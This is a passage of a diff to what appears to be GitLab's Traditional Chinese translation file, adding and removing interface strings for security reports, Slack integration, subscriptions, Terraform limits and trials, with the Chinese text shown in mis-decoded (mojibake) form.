+msgstr ""
+
msgid "SecurityOrchestration|scanner finds"
msgstr "掃æ器發ç¾"
@@ -36957,9 +37624,6 @@ msgstr "全部工具"
msgid "SecurityReports|Although it's rare to have no vulnerabilities, it can happen. Check your settings to make sure you've set up your dashboard correctly."
msgstr "雖然沒有æ¼æ´žçš„情æ³å¾ˆå°‘見,但它å¯èƒ½æœƒç™¼ç”Ÿã€‚檢查您的設定以確ä¿æ‚¨å·²æ­£ç¢ºè¨­å®šå„€è¡¨æ¿ã€‚"
-msgid "SecurityReports|At GitLab, we're all about iteration and feedback. That's why we are reaching out to customers like you to help guide what we work on this year for Vulnerability Management. We have a lot of exciting ideas and ask that you assist us by taking a short survey %{boldStart}no longer than 10 minutes%{boldEnd} to evaluate a few of our potential features."
-msgstr "在 GitLab,我們專注於迭代和回饋。這就是為什麼我們è¦è¯çµ¡åƒæ‚¨é€™æ¨£çš„客戶來幫助指導我們今年在æ¼æ´žç®¡ç†æ–¹é¢çš„工作。我們有很多令人興奮的想法,請您å”助我們進行ä¸è¶…éŽ 10 åˆ†é˜ %{boldStart}%{boldEnd} 來評估我們的一些潛在功能。"
-
msgid "SecurityReports|Change status"
msgstr "更改狀態"
@@ -37179,9 +37843,6 @@ msgstr "ä»ç„¶æª¢æ¸¬åˆ°"
msgid "SecurityReports|Submit vulnerability"
msgstr "æ交æ¼æ´ž"
-msgid "SecurityReports|Take survey"
-msgstr "åƒåŠ èª¿æŸ¥"
-
msgid "SecurityReports|The Vulnerability Report shows results of successful scans on your project's default branch, manually added vulnerability records, and vulnerabilities found from scanning operational environments. %{linkStart}Learn more.%{linkEnd}"
msgstr "æ¼æ´žå ±å‘Šé¡¯ç¤ºå°å°ˆæ¡ˆé è¨­åˆ†æ”¯çš„æˆåŠŸæŽƒæçµæžœã€æ‰‹å‹•æ·»åŠ çš„æ¼æ´žè¨˜éŒ„以åŠå¾žæŽƒææ“作環境中發ç¾çš„æ¼æ´žã€‚ %{linkStart}了解更多。%{linkEnd}"
@@ -37209,6 +37870,9 @@ msgstr "忽略æ¼æ´žæ™‚發生錯誤。"
msgid "SecurityReports|There was an error dismissing the vulnerability."
msgstr "忽略æ¼æ´žæ™‚發生錯誤。"
+msgid "SecurityReports|There was an error fetching the finding. Please try again."
+msgstr "æå–çµæžœæ™‚發生錯誤,請å†è©¦ä¸€é。"
+
msgid "SecurityReports|There was an error reverting the dismissal."
msgstr "å–消忽略時發生錯誤。"
@@ -37239,9 +37903,6 @@ msgstr "å‡ç´šä»¥ä¾¿åœ¨UI中使用æ¼æ´žç®¡ç†åŠŸèƒ½é€²è¡Œäº’å‹•ã€è¿½è¹¤å’Œç§»å
msgid "SecurityReports|Upgrade to manage vulnerabilities"
msgstr "å‡ç´šä»¥ç®¡ç†æ¼æ´ž"
-msgid "SecurityReports|Vulnerability Management feature survey"
-msgstr "æ¼æ´žç®¡ç†åŠŸèƒ½èª¿æŸ¥"
-
msgid "SecurityReports|Vulnerability Report"
msgstr "æ¼æ´žå ±å‘Š"
@@ -37260,9 +37921,6 @@ msgstr "您沒有足夠的權é™å­˜å–此報告"
msgid "SecurityReports|You must sign in as an authorized user to see this report"
msgstr "您必須以授權使用者身份登入æ‰èƒ½æŸ¥çœ‹æ­¤å ±å‘Š"
-msgid "SecurityReports|Your feedback is important to us! We will ask again in a week."
-msgstr "您的回饋å°æˆ‘們很é‡è¦ï¼æˆ‘們將在一周內å†æ¬¡è©¢å•ã€‚"
-
msgid "SecurityReports|scanned resources"
msgstr "掃æ資æº"
@@ -38041,6 +38699,9 @@ msgstr "顯示文件ç€è¦½å™¨"
msgid "Show file contents"
msgstr "顯示文件內容"
+msgid "Show filters"
+msgstr "顯示éŽæ¿¾å™¨"
+
msgid "Show group milestones"
msgstr "顯示群組里程碑"
@@ -38255,9 +38916,6 @@ msgstr "登入和幫助é é¢"
msgid "Sign-in count:"
msgstr "登入次數"
-msgid "Sign-in failed because %{error}."
-msgstr "å›  %{error} 而造æˆç™»å…¥å¤±æ•—。"
-
msgid "Sign-in page"
msgstr "登入é é¢"
@@ -38384,9 +39042,6 @@ msgstr "GitLab for Slack å·²æˆåŠŸå®‰è£ã€‚"
msgid "SlackIntegration|Install GitLab for Slack app"
msgstr "å®‰è£ GitLab for Slack 應用程å¼"
-msgid "SlackIntegration|Notifications only work if you're on the latest version of the GitLab for Slack app"
-msgstr "通知僅在您使用最新版本的 GitLab for Slack 應用程å¼æ™‚æ‰æœ‰æ•ˆ"
-
msgid "SlackIntegration|Project alias"
msgstr "專案別å"
@@ -38417,6 +39072,12 @@ msgstr "該整åˆå…許使用者通éŽåœ¨ Slack 中輸入斜æ å‘½ä»¤ä¾†å°è©²å°
msgid "SlackIntegration|Update to the latest version"
msgstr "更新到最新版本"
+msgid "SlackIntegration|Update to the latest version of GitLab for Slack to get notifications"
+msgstr "æ›´æ–°åˆ°æ”¯æ´ Slack 的最新 GitLab 版本以å–得通知"
+
+msgid "SlackIntegration|Update to the latest version to receive notifications from GitLab."
+msgstr "更新到最新版本以接收來自 GitLab 的通知。"
+
msgid "SlackIntegration|Verification token"
msgstr "驗證令牌(權æ–)"
@@ -38444,11 +39105,11 @@ msgstr "填寫最é©åˆæ‚¨çš„團隊的文字。"
msgid "SlackService|Perform common operations in this project by entering slash commands in Slack."
msgstr "通éŽåœ¨Slack中輸入斜槓指令來執行這個專案中的常用æ“作。"
-msgid "Slack|%{asterisk}Step 1.%{asterisk} Connect your GitLab account to get started."
-msgstr "%{asterisk}步驟 1.%{asterisk} 連接您的 GitLab 帳號以開始使用。"
+msgid "Slack|%{asterisk}Channel notifications%{asterisk}"
+msgstr "%{asterisk}é »é“通知%{asterisk}"
-msgid "Slack|%{asterisk}Step 2.%{asterisk} Try it out!"
-msgstr "%{asterisk}步驟 2.%{asterisk} 試試看ï¼"
+msgid "Slack|%{asterisk}Slash commands%{asterisk}"
+msgstr "%{asterisk}斜線命令%{asterisk}"
msgid "Slack|%{emoji}Connected to GitLab account %{account}"
msgstr "%{emoji} 已連接到 GitLab %{account} 帳號 "
@@ -38459,23 +39120,17 @@ msgstr "%{emoji} 歡迎來到 Slack çš„ GitLabï¼"
msgid "Slack|Connect your GitLab account"
msgstr "連接您的 GitLab 帳號"
-msgid "Slack|Create a new issue"
-msgstr "建立新議題"
+msgid "Slack|Control GitLab from Slack with %{startMarkup}slash commands%{endMarkup}. For a list of available commands, enter %{command}."
+msgstr "使用%{startMarkup}斜線指令%{endMarkup}從 Slack 控制 GitLab。è¦å–å¾—å¯ç”¨çš„指令,請輸入 %{command}。"
-msgid "Slack|Create new issues from Slack: %{command}"
-msgstr "從 Slack 建立新議題:%{command}"
+msgid "Slack|GitLab for Slack now supports channel-based notifications.Let your team know when new issues are created or new CI/CD jobs are run.%{startMarkup}Learn more%{endMarkup}."
+msgstr "GitLab for Slack ç¾åœ¨æ”¯æ´ä»¥é »é“為基礎的通知。讓您的團隊知é“何時建立新議題或執行新的 CI/CD 工作。%{startMarkup}å–得更多資訊%{endMarkup}。"
-msgid "Slack|Run a CI/CD job"
-msgstr "執行 CI/CD 作業"
+msgid "Slack|To start using notifications, %{startMarkup}enable the Slack integration%{endMarkup} in your project settings."
+msgstr "è¦é–‹å§‹ä½¿ç”¨é€šçŸ¥ï¼Œåœ¨æ‚¨çš„專案設定中%{startMarkup}啟用 Slack æ•´åˆ%{endMarkup}。"
-msgid "Slack|See a list of available commands: %{command})"
-msgstr "查看å¯ç”¨çš„命令列表:%{command})"
-
-msgid "Slack|Streamline your GitLab deployments with ChatOps. Once you've configured your %{startMarkup}CI/CD pipelines%{endMarkup}, try: %{command}"
-msgstr "使用 ChatOps 簡化 GitLab 部署,設定 %{startMarkup}CI/CD æµæ°´ç·š %{endMarkup} 後,嘗試: %{command}"
-
-msgid "Slack|View and control GitLab content while you're working in Slack. Type the command as a message in your chat client to activate it. %{startMarkup}Learn more%{endMarkup}."
-msgstr "在您工作中使用 Slack 時查看和控制 GitLab 內容。在您的èŠå¤©å®¢æˆ¶ç«¯ä¸­è¼¸å…¥å‘½ä»¤ä½œç‚ºè¨Šæ¯ä»¥å•Ÿå‹•å®ƒã€‚ %{startMarkup}了解更多%{endMarkup}。"
+msgid "Slack|To start using slash commands, connect your GitLab account."
+msgstr "è¦é–‹å§‹ä½¿ç”¨æ–œç·šæŒ‡ä»¤ï¼Œè«‹é€£çµæ‚¨çš„ GitLab 帳號。"
msgid "Slice multiplier"
msgstr "切片乖數"
@@ -38972,6 +39627,12 @@ msgstr "來æºIP"
msgid "Source branch"
msgstr "來æºåˆ†æ”¯"
+msgid "Source branch does not exist"
+msgstr "來æºåˆ†æ”¯ä¸å­˜åœ¨"
+
+msgid "Source branch is protected from force push"
+msgstr "來æºåˆ†æ”¯å—ä¿è­·ä¸æŽ¥å—強制推é€"
+
msgid "Source branch will be deleted."
msgstr "來æºåˆ†å°‡è¢«åˆªé™¤"
@@ -39167,15 +39828,15 @@ msgstr "由此變更 %{new_merge_request}"
msgid "Start a Free Ultimate Trial"
msgstr "開始å…費試用旗艦版"
-msgid "Start a new discussion…"
-msgstr "開始一個新的討論..."
-
msgid "Start a new merge request with these changes"
msgstr "使用這些變更開始新的åˆä½µè«‹æ±‚"
msgid "Start a review"
msgstr "啟動審閱"
+msgid "Start another thread"
+msgstr "開始å¦ä¸€å€‹ç·šç¨‹"
+
msgid "Start by choosing a group to start exploring the merge requests in that group. You can then proceed to filter by projects, labels, milestones and authors."
msgstr "首先é¸æ“‡ä¸€å€‹ç¾¤çµ„以開始ç€è¦½è©²ç¾¤çµ„中的åˆä½µè«‹æ±‚。然後您å¯ä»¥æŒ‰å°ˆæ¡ˆã€æ¨™è¨˜ã€é‡Œç¨‹ç¢‘和作者進行éŽæ¿¾ã€‚"
@@ -39665,18 +40326,36 @@ msgstr "使用次數將在æ¯å¤©ä¸­åˆ12:00進行更新。"
msgid "Subscriptions"
msgstr "訂閱"
+msgid "Subscriptions|Activation date"
+msgstr "啟用日期"
+
msgid "Subscriptions|Chat with sales"
msgstr "與銷售交談"
msgid "Subscriptions|Close"
msgstr "關閉"
+msgid "Subscriptions|End date"
+msgstr "çµæŸæ—¥æœŸ"
+
+msgid "Subscriptions|End date:"
+msgstr "çµæŸæ—¥æœŸï¼š"
+
+msgid "Subscriptions|Last sync"
+msgstr "上次åŒæ­¥"
+
+msgid "Subscriptions|None"
+msgstr "ç„¡"
+
msgid "Subscriptions|Not ready to buy yet?"
msgstr "尚未準備好購買?"
msgid "Subscriptions|Start a free trial"
msgstr "開始å…費試用"
+msgid "Subscriptions|Start date"
+msgstr "開始日期"
+
msgid "Subscriptions|We understand. Maybe you have some questions for our sales team, or maybe you'd like to try some of the paid features first. What would you like to do?"
msgstr "我們ç†è§£ï¼Œä¹Ÿè¨±æ‚¨å°æˆ‘們的銷售團隊有一些å•é¡Œï¼Œæˆ–者想先嘗試一些付費功能。您想åšä»€éº¼ï¼Ÿ"
@@ -39893,6 +40572,9 @@ msgstr "因席次ä¸ç¬¦è€Œç„¡æ³•å•Ÿç”¨"
msgid "SuperSonics|Activation not possible due to true-up value mismatch"
msgstr "å›  true-up 值ä¸ç¬¦è€Œç„¡æ³•å•Ÿç”¨"
+msgid "SuperSonics|Add activation code"
+msgstr "新增啟用碼"
+
msgid "SuperSonics|An error occurred while adding your subscription"
msgstr "加入您的訂閱時發生錯誤"
@@ -39911,8 +40593,8 @@ msgstr "Cloud 授權許å¯"
msgid "SuperSonics|Cloud licensing is now available. It's an easier way to activate instances and manage subscriptions. Read more about it in our %{blogPostLinkStart}blog post%{blogPostLinkEnd}. Activation codes are available in the %{portalLinkStart}Customers Portal%{portalLinkEnd}."
msgstr "Cloud 授權許å¯ç¾å·²æŽ¨å‡ºã€‚這是啟用實例和管ç†è¨‚閱的更簡單方法。閱讀 %{blogPostLinkStart}部è½æ ¼æ–‡ç« %{blogPostLinkEnd}中的更多相關訊æ¯ã€‚啟用碼在 %{portalLinkStart}客戶入å£ç¶²%{portalLinkEnd}中å¯ç”¨ã€‚"
-msgid "SuperSonics|Enter activation code"
-msgstr "輸入啟用碼"
+msgid "SuperSonics|Customers Portal"
+msgstr "客戶入å£ç¶²ç«™"
msgid "SuperSonics|Export license usage file"
msgstr "匯出授權許å¯ä½¿ç”¨æ–‡ä»¶"
@@ -39932,9 +40614,6 @@ msgstr "詳細了解 %{activationLinkStart}啟用您的訂閱%{activationLinkEnd
msgid "SuperSonics|Licensed to"
msgstr "授權許å¯æ–¼"
-msgid "SuperSonics|Manage"
-msgstr "管ç†"
-
msgid "SuperSonics|Maximum users"
msgstr "最大使用者數"
@@ -40422,15 +41101,6 @@ msgstr "åªèƒ½è¨­å®šä¸€æ¬¡"
msgid "TemporaryStorageIncrease|can only be set with more than %{percentage}%% usage"
msgstr "åªèƒ½è¨­å®šç‚ºå¤§æ–¼%{percentage}%%使用é‡"
-msgid "TemporaryStorage|GitLab allows you a %{strongStart}free, one-time storage increase%{strongEnd}. For 30 days your storage will be unlimited. This gives you time to reduce your storage usage. After 30 days, your original storage limit of %{limit} applies. If you are at maximum storage capacity, your account will be read-only. To continue using GitLab you'll have to purchase additional storage or decrease storage usage."
-msgstr "GitLabå…許您申請%{strongStart}å…費的一次性儲存增加%{strongEnd}。 您在30天內將å¯ä½¿ç”¨ç„¡é™çš„儲存空間。這將使您有時間減少您的儲存使用é‡ã€‚ 30天後,您的原始儲存é™åˆ¶%{limit}將生效。如果您的儲存使用已é”容é‡ä¸Šé™ï¼Œæ‚¨çš„帳號將變為唯讀。如需繼續使用 GitLab ,您必須購買更多的儲存或減少儲存使用é‡ã€‚"
-
-msgid "TemporaryStorage|Increase storage temporarily"
-msgstr "臨時增加儲存"
-
-msgid "TemporaryStorage|Temporarily increase storage now?"
-msgstr "ç¾åœ¨è‡¨æ™‚增加儲存嗎?"
-
msgid "Terminal"
msgstr "終端"
@@ -40461,6 +41131,21 @@ msgstr "GitLab 管ç†çš„ Terraform state 後端å¯ä»¥è¼•é¬†å®‰å…¨åœ°å„²å­˜æ‚¨çš„
msgid "TerraformBanner|Using Terraform? Try the GitLab Managed Terraform State"
msgstr "使用 Terraform?嘗試 GitLab 託管 Terraform State"
+msgid "TerraformLimits|Learn more about Terraform limits."
+msgstr "了解關於 Terraform é™åˆ¶çš„更多資訊。"
+
+msgid "TerraformLimits|Limits for Terraform features"
+msgstr "Terraform 功能的é™åˆ¶"
+
+msgid "TerraformLimits|Maximum file size (in bytes) of Terraform state files. Set to 0 for no limit."
+msgstr "Terraform 狀態檔案的最大檔案大å°ï¼ˆä»¥ä½å…ƒçµ„為單ä½ï¼‰ã€‚設定為 0 表示無é™åˆ¶ã€‚"
+
+msgid "TerraformLimits|Terraform limits"
+msgstr "Terraform é™åˆ¶"
+
+msgid "TerraformLimits|Terraform state size limit (bytes)"
+msgstr "Terraform 狀態大å°é™åˆ¶ï¼ˆä½å…ƒçµ„)"
+
msgid "Terraform|%{name} successfully removed"
msgstr "%{name} å·²æˆåŠŸç§»é™¤"
@@ -40723,9 +41408,6 @@ msgstr "在測試報告中沒有找到測試案例。"
msgid "TestReports|Test reports require job artifacts but all artifacts are expired. %{linkStart}Learn more%{linkEnd}"
msgstr "測試報告需è¦ä½œæ¥­å·¥ä»¶ï¼Œä½†æ‰€æœ‰å·¥ä»¶éƒ½å·²éŽæœŸã€‚ %{linkStart}了解更多%{linkEnd}"
-msgid "TestReports|Tests"
-msgstr "測試"
-
msgid "TestReports|There are no test cases to display."
msgstr "沒有è¦é¡¯ç¤ºçš„測試案例。"
@@ -40977,6 +41659,9 @@ msgid "The following personal access token: %{token_names} was revoked, because
msgid_plural "The following personal access tokens: %{token_names} were revoked, because a new policy to expire personal access tokens were set."
msgstr[0] "因為設置了使個人訪å•ä»¤ç‰ŒéŽæœŸçš„新政策,以下個人存å–令牌已被撤銷:%{token_names}。"
+msgid "The following personal access tokens have expired:"
+msgstr "以下的個人存å–æ¬Šæ– (令牌) å·²éŽæœŸï¼š"
+
msgid "The fork relationship has been removed."
msgstr "分å‰é—œä¿‚已被移除。"
@@ -41125,6 +41810,9 @@ msgstr "CI/CD 設定文件的å稱。相å°æ–¼æ ¹ç›®éŒ„的路徑是å¯é¸çš„(
msgid "The name of the Jenkins project. Copy the name from the end of the URL to the project."
msgstr "Jenkins 專案的å稱。將 URL 末尾的å稱複製到專案中。"
+msgid "The new Web IDE"
+msgstr "æ–°çš„ Web IDE"
+
msgid "The number of changes to fetch from GitLab when cloning a repository. Lower values can speed up pipeline execution. Set to %{code_open}0%{code_close} or blank to fetch all branches and tags for each job"
msgstr "複製 (Clone) 版本庫時è¦å¾ž GitLab å–得的更改數é‡ï¼Œè¼ƒä½Žçš„值å¯ä»¥åŠ é€Ÿæµæ°´ç·šåŸ·è¡Œã€‚ 設定為 %{code_open}0%{code_close} 或空白以å–å¾—æ¯å€‹ä½œæ¥­çš„所有分支和標籤"
@@ -41329,6 +42017,9 @@ msgstr "沒有垃圾郵件日誌"
msgid "There are no abuse reports!"
msgstr "沒有濫用報告ï¼"
+msgid "There are no approval rules for the given `represent_as` parameter. Use a valid User/Group/Role name instead."
+msgstr "指定的 `represent_as` çš„åƒæ•¸æ²’有批准è¦å‰‡ï¼Œè«‹æ”¹ç”¨æœ‰æ•ˆçš„使用者/群組/角色å稱。"
+
msgid "There are no archived requirements"
msgstr "沒有已歸檔的需求"
@@ -41677,6 +42368,9 @@ msgstr "第三方建議連çµ"
msgid "This %{issuableDisplayName} is locked. Only project members can comment."
msgstr "æ­¤%{issuableDisplayName}被鎖定。åªæœ‰å°ˆæ¡ˆæˆå“¡å¯ä»¥ç•™è¨€ã€‚"
+msgid "This %{issuable} is hidden because its author has been banned"
+msgstr ""
+
msgid "This %{issuable} is locked. Only %{strong_open}project members%{strong_close} can comment."
msgstr "æ­¤%{issuable}已被鎖定。åªæœ‰%{strong_open}專案æˆå“¡%{strong_close}æ‰å¯ä»¥ç™¼è¡¨ç•™è¨€ã€‚"
@@ -41779,21 +42473,27 @@ msgstr "此留言在您開始編輯後發生了變化。查看 %{startTag}更新
msgid "This commit is part of merge request %{link_to_merge_request}. Comments created here will be created in the context of that merge request."
msgstr "æ­¤æ交是åˆä½µè«‹æ±‚ %{link_to_merge_request} 的一部分。此處建立的留言將在該åˆä½µè«‹æ±‚的上下文中建立。"
-msgid "This commit was signed with %{strong_open}multiple%{strong_close} signatures."
-msgstr "æ­¤æ交使用 %{strong_open}多個%{strong_close} ç°½å進行簽署。"
-
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr "æ­¤æ交使用%{strong_open}已驗證的%{strong_close}ç°½å進行簽署,並且已驗證æ交者的電å­éƒµä»¶å±¬æ–¼åŒä¸€ä½¿ç”¨è€…。"
msgid "This commit was signed with a different user's verified signature."
msgstr "æ­¤æ交使用其他使用者的已驗證簽å進行簽å。"
+msgid "This commit was signed with a verified signature and the committer email was verified to belong to the same user."
+msgstr "æ­¤æ交使用已驗證的簽å進行簽署,並且已驗證æ交者的電å­éƒµä»¶å±¬æ–¼åŒä¸€ä½¿ç”¨è€…。"
+
msgid "This commit was signed with a verified signature, but the committer email is not associated with the GPG Key."
msgstr "該æ交使用已驗證的簽章進行簽å,但æ交者電å­éƒµä»¶æœªèˆ‡ GPG 密鑰關è¯ã€‚"
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr "æ­¤æ交使用%{strong_open}未經驗證的%{strong_close}ç°½å進行簽署。"
+msgid "This commit was signed with an unverified signature."
+msgstr "æ­¤æ交使用未經驗證的簽章進行簽署。"
+
+msgid "This commit was signed with multiple signatures."
+msgstr "æ­¤æ交已使用多個簽章進行簽署。"
+
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr "由於%{reason},無法顯示此內容。您å¯ä»¥%{options}代替。"
@@ -42016,6 +42716,9 @@ msgstr "該作業無輸出日誌。"
msgid "This job does not run automatically and must be started manually, but you do not have access to it."
msgstr "該作業ä¸æœƒè‡ªå‹•åŸ·è¡Œï¼Œå¿…須手動啟動,但您無權存å–它。"
+msgid "This job does not start automatically and must be started manually. You can add CI/CD variables below for last-minute configuration changes before starting the job."
+msgstr "此作業ä¸æœƒè‡ªå‹•å•Ÿå‹•ï¼Œå¿…須手動啟動。您å¯ä»¥åœ¨ä¸‹æ–¹æ–°å¢ž CI/CD 變數,便於在作業開始å‰é€²è¡Œæœ€å¾Œçš„設定變更。"
+
msgid "This job has been canceled"
msgstr "該作業已å–消"
@@ -42091,9 +42794,6 @@ msgstr "該作業正在等待資æºï¼š "
msgid "This job requires a manual action"
msgstr "該作業需手動æ“作"
-msgid "This job requires manual intervention to start. Before starting this job, you can add variables below for last-minute configuration changes."
-msgstr "該作業需è¦æ‰‹å‹•å¹²é æ‰èƒ½é–‹å§‹ã€‚在啟動次作業之å‰ï¼Œæ‚¨å¯ä»¥åœ¨ä¸‹é¢åŠ å…¥è®Šæ•¸ï¼Œé€²è¡Œæœ€å¾Œæ™‚刻的設定變更。"
-
msgid "This job will automatically run after its timer finishes. Often they are used for incremental roll-out deploys to production environments. When unscheduled it converts into a manual action."
msgstr "該作業將在計時器完æˆå¾Œè‡ªå‹•åŸ·è¡Œã€‚它們通常用於生產環境的增é‡éƒ¨ç½²ã€‚未計劃時,它會轉æ›ç‚ºæ‰‹å‹•æ“作。"
@@ -42298,8 +42998,8 @@ msgstr "該使用者是%{noteable}的作者。"
msgid "This variable can not be masked."
msgstr "此變數無法被隱è—。"
-msgid "This vulnerability type has been deprecated from GitLab's default ruleset and automatically resolved."
-msgstr "æ­¤æ¼æ´žé¡žåž‹å·²å¾ž GitLab çš„é è¨­è¦å‰‡é›†ä¸­æ£„用並自動解決。"
+msgid "This vulnerability was automatically resolved because its vulnerability type was disabled in this project or removed from GitLab's default ruleset."
+msgstr "æ­¤æ¼æ´žå·²è‡ªå‹•è§£æ±ºï¼Œå› ç‚ºå…¶æ¼æ´žé¡žåž‹å·²åœ¨æ­¤å°ˆæ¡ˆä¸­åœç”¨æˆ–已從 GitLab çš„é è¨­è¦å‰‡é›†ä¸­ç§»é™¤ã€‚"
msgid "This will invalidate your registered applications and U2F / WebAuthn devices."
msgstr "這會使您註冊的應用程å¼å’Œ U2F / WebAuthn 設備無效。"
@@ -42738,6 +43438,10 @@ msgstr "為了幫助改進GitLab,我們會定期%{docs_link}。您å¯ä»¥éš¨æ™‚
msgid "To import an SVN repository, check out %{svn_link}."
msgstr "è¦åŒ¯å…¥SVN版本庫,請查看 %{svn_link}。"
+msgid "To invite more users, you can reduce the number of users in your namespace to %{free_limit} user or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgid_plural "To invite more users, you can reduce the number of users in your namespace to %{free_limit} users or less. You can also upgrade to a paid tier which do not have user limits. If you need additional time, you can start a free 30-day trial which includes unlimited users."
+msgstr[0] "è¦é‚€è«‹æ›´å¤šä½¿ç”¨è€…,您å¯ä»¥å°‡æ‚¨çš„命å空間中的使用者數é‡æ¸›å°‘到 %{free_limit} 個使用者或更少,您也å¯ä»¥å‡ç´šåˆ°æ²’有使用者é™åˆ¶çš„付費方案。若您需è¦é¡å¤–的時間,您å¯ä»¥é–‹å§‹ä½¿ç”¨åŒ…å«ç„¡é™ä½¿ç”¨è€…數é‡çš„30天試用。"
+
msgid "To keep this project going, create a new issue"
msgstr "為了ä¿æŒé€™å€‹å°ˆæ¡ˆçš„進行,請建立一個新的議題"
@@ -42954,8 +43658,8 @@ msgstr "您的待辦事項列表顯示下一步è¦åšä»€éº¼"
msgid "Todos|added a to-do item"
msgstr "已加入一項待辦項目"
-msgid "Todos|has requested access"
-msgstr "已請求存å–"
+msgid "Todos|has requested access to %{what} %{which}"
+msgstr ""
msgid "Todos|mentioned %{who}"
msgstr "æåŠ %{who}"
@@ -43251,24 +43955,12 @@ msgstr "建立一個新群組以開始您的旗艦版試用。"
msgid "Trials|Day %{daysUsed}/%{duration}"
msgstr "第 %{daysUsed}/%{duration} 天"
-msgid "Trials|Go back to GitLab"
-msgstr "返回GitLab"
-
-msgid "Trials|Skip Trial"
-msgstr "è·³éŽè©¦ç”¨"
-
msgid "Trials|Upgrade %{groupName} to %{planName}"
msgstr "å‡ç´š %{groupName} 到 %{planName}"
-msgid "Trials|You can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "您å¯ä»¥é€šéŽé¸æ“‡æ‚¨çš„é ­åƒä¸¦é¸æ“‡ã€Œé–‹å§‹è©¦ç”¨æ——艦版ã€ä¾†æ¢å¾©æ­¤ç¨‹åºã€‚"
-
msgid "Trials|You can apply your trial to a new group or an existing group."
msgstr "您å¯ä»¥å°‡æ‚¨åœ¨ä¸€å€‹æ–°ç¾¤çµ„或一個ç¾æœ‰ç¾¤çµ„上é¢é€²è¡Œè©¦ç”¨ã€‚"
-msgid "Trials|You won't get a free trial right now but you can always resume this process by selecting your avatar and choosing 'Start an Ultimate trial'"
-msgstr "您ç¾åœ¨ç„¡æ³•ç²å¾—å…費試用,但您å¯ä»¥éš¨æ™‚通éŽé¸æ“‡æ‚¨çš„é ­åƒä¸¦é¸æ“‡ã€Œé–‹å§‹æ——艦版試用ã€ä¾†æ¢å¾©æ­¤ç¨‹åºã€‚"
-
msgid "Trials|You've got %{daysRemaining} day remaining on GitLab %{planName}!"
msgid_plural "Trials|You've got %{daysRemaining} days remaining on GitLab %{planName}!"
msgstr[0] "您在 GitLab %{planName} 上還有 %{daysRemaining} 天ï¼"
@@ -43372,15 +44064,12 @@ msgstr "請嘗試更改或移除éŽæ¿¾å™¨ã€‚"
msgid "Try grouping with different labels"
msgstr "嘗試使用ä¸åŒçš„標記分組"
-msgid "Try logging in using your username or email. If you have forgotten your password, try recovering it"
-msgstr "嘗試使用您的使用者å稱或電å­éƒµä»¶ç™»å…¥ï¼Œ 如果您忘記密碼,請嘗試找回密碼"
+msgid "Try it out now"
+msgstr "立刻體驗"
msgid "Try out GitLab Pipelines"
msgstr "試用 GitLab æµæ°´ç·š"
-msgid "Try out the new Web IDE"
-msgstr "試用新的 Web IDE"
-
msgid "Try the troubleshooting steps here."
msgstr "嘗試此處的故障排除步驟。"
@@ -43552,6 +44241,9 @@ msgstr "無法連線到Jira伺æœå™¨ã€‚請檢查您的Jiraæ•´åˆè¨­å®šã€‚"
msgid "Unable to create link to vulnerability"
msgstr "無法建立到æ¼æ´žçš„連çµ"
+msgid "Unable to create pipeline"
+msgstr "無法建立æµæ°´ç·š"
+
msgid "Unable to fetch branch list for this project."
msgstr "無法å–得此專案的分支列表。"
@@ -43594,6 +44286,9 @@ msgstr "無法載入差異。%{button_try_again}"
msgid "Unable to load the merge request widget. Try reloading the page."
msgstr "無法載入åˆä½µè«‹æ±‚部件。請嘗試é‡æ–°è¼‰å…¥é é¢ã€‚"
+msgid "Unable to load the page"
+msgstr "無法載入é é¢"
+
msgid "Unable to parse JSON"
msgstr "ç„¡æ³•è§£æž JSON"
@@ -43774,6 +44469,9 @@ msgstr "å–消作業排程"
msgid "Unselect \"Expand variable reference\" if you want to use the variable value as a raw string."
msgstr "如果您è¦ä½¿ç”¨è®Šæ•¸å€¼ä½œç‚ºåŽŸå§‹å­—串,請å–消é¸æ“‡â€œæ“´å±•è®Šæ•¸å¼•ç”¨â€ã€‚"
+msgid "Unselect all"
+msgstr "å–消全é¸"
+
msgid "Unstar"
msgstr "å–消收è—(星號)"
@@ -43813,6 +44511,9 @@ msgstr "未被使用的先å‰ç´¢å¼•ï¼š %{index_names} 將在 %{time} 後自動åˆ
msgid "Unverified"
msgstr "未驗證"
+msgid "Unverified signature"
+msgstr "未驗證的簽章"
+
msgid "Up to date"
msgstr "最新"
@@ -43882,6 +44583,9 @@ msgstr "因為專案容器映åƒåº«å·²æœ‰æ¨™ç±¤ï¼Œç„¡æ³•æ›´æ–°ç•¶å‰å°ˆæ¡ˆï¼"
msgid "UpdateProject|Could not set the default branch"
msgstr "無法設定é è¨­åˆ†æ”¯"
+msgid "UpdateProject|Could not set the default branch. Do you have a branch named 'HEAD' in your repository? (%{linkStart}How do I fix this?%{linkEnd})"
+msgstr "無法設定é è¨­åˆ†æ”¯ã€‚您的版本庫中是å¦æœ‰å為「HEADã€çš„分支?(%{linkStart}我è¦å¦‚何解決此å•é¡Œï¼Ÿ%{linkEnd})"
+
msgid "UpdateProject|New visibility level not allowed!"
msgstr "ä¸å…許新的å¯è¦‹æ€§ç´šåˆ¥ï¼"
@@ -44044,15 +44748,9 @@ msgstr "群組設定 &gt; 使用é¡åº¦"
msgid "UsageQuota|Includes artifacts, repositories, wiki, uploads, and other items."
msgstr "包括產物ã€ç‰ˆæœ¬åº«ã€wikiã€ä¸Šå‚³æ–‡ä»¶å’Œå…¶å®ƒäº‹é …。"
-msgid "UsageQuota|Increase storage temporarily"
-msgstr "臨時增加儲存"
-
msgid "UsageQuota|LFS storage"
msgstr "LFS儲存"
-msgid "UsageQuota|Learn more about excess storage usage"
-msgstr "了解有關超é¡å„²å­˜ä½¿ç”¨é‡çš„更多訊æ¯"
-
msgid "UsageQuota|Learn more about usage quotas"
msgstr "了解有關使用é…é¡çš„更多訊æ¯"
@@ -44083,15 +44781,9 @@ msgstr "用 CI/CD 建立的æµæ°´ç·šç”¢ç‰©å’Œä½œæ¥­ç”¢ç‰©ã€‚"
msgid "UsageQuota|Pipelines"
msgstr "æµæ°´ç·š"
-msgid "UsageQuota|Purchase more storage"
-msgstr "購買更多儲存空間"
-
msgid "UsageQuota|Purchased storage"
msgstr "已購買的儲存空間"
-msgid "UsageQuota|Purchased storage available"
-msgstr "購買的儲存空間å¯ç”¨"
-
msgid "UsageQuota|Purchased storage used"
